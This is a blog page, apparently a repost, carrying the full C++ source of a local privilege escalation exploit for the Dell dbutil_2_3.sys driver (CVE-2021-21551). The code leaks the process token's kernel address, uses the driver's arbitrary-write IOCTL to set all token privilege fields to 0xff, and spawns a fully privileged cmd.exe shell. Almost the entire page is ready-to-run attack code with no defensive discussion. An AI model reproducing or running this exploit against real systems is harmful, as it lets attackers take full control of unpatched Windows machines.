Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86373248

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version: <= 2.3
# CVE: CVE-2021-21551
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/

#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>

#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
	uint64_t    Field1;     // "padding" can be anything
	void*		Field2;		// where to write
	uint64_t    Field3;     // must be 0
	uint64_t    Field4;     // value to write
};

typedef struct outBuffer
{
	uint64_t    Field1;
	uint64_t	Field2;
	uint64_t    Field3;
	uint64_t    Field4;
};

// define a pointer to the native function 'NtQuerySystemInformation'
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// define the SYSTEM_HANDLE_INFORMATION structure
typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

int main(int argc, char** argv)
{

	// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
	HANDLE device = ::CreateFileW(
		L"\\\\.\\DBUtil_2_3",
		GENERIC_WRITE | GENERIC_READ,
		NULL,
		nullptr,
		OPEN_EXISTING,
		NULL,
		NULL);
	if (device == INVALID_HANDLE_VALUE)
	{
		std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";

	// resolve the address of NtQuerySystemInformation and assign it to a function pointer
	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
	if (!NtQuerySystemInformation)
	{
		std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Resolved NtQuerySystemInformation!\n";

	// open the current process token - it will be used to retrieve its kernelspace address later
	HANDLE currentProcess = ::GetCurrentProcess();
	HANDLE currentToken = NULL;
	bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);
	if (!success)
	{
		std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Opened a handle to the current process token!\n";

	// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
	PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);

	// call NtQuerySystemInformation and fill the handleTableInformation structure
	ULONG returnLength = 0;
	NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);

	uint64_t tokenAddress = 0;
	// iterate over the system's handle table and look for the handles beloging to our process
	for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
	{
		SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
		// if it finds our process and the handle matches the current token handle we already opened, print it
		if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
		{
			tokenAddress = (uint64_t)handleInfo.Object;
			std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
		}
	}

	outBuffer buffer =
	{
		0,
		0,
		0,
		0
	};

	/*
	dt nt!_SEP_TOKEN_PRIVILEGES
	   +0x000 Present          : Uint8B
	   +0x008 Enabled          : Uint8B
	   +0x010 EnabledByDefault : Uint8B

	We've added +1 to the offsets to ensure that the low bytes part are 0xff.
	*/

	// overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token
	Exploit exploit =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x40),
		0x0000000000000000,
		0xffffffffffffffff
	};

	// overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token
	Exploit exploit2 =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x48),
		0x0000000000000000,
		0xffffffffffffffff
	};

	// overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token
	Exploit exploit3 =
	{
		0x4141414142424242,
		(void*)(tokenAddress + 0x50),
		0x0000000000000000,
		0xffffffffffffffff
	};

	DWORD bytesReturned = 0;
	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit,
		sizeof(exploit),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'Present' field!\n";

	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit2,
		sizeof(exploit2),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";

	success = DeviceIoControl(
		device,
		IOCTL_CODE,
		&exploit3,
		sizeof(exploit3),
		&buffer,
		sizeof(buffer),
		&bytesReturned,
		nullptr);
	if (!success)
	{
		std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
		return -1;
	}
	std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
	std::cout << "[+] Token privileges successfully overwritten!\n";
	std::cout << "[+] Spawning a new shell with full privileges!\n";

	system("cmd.exe");

	return 0;
}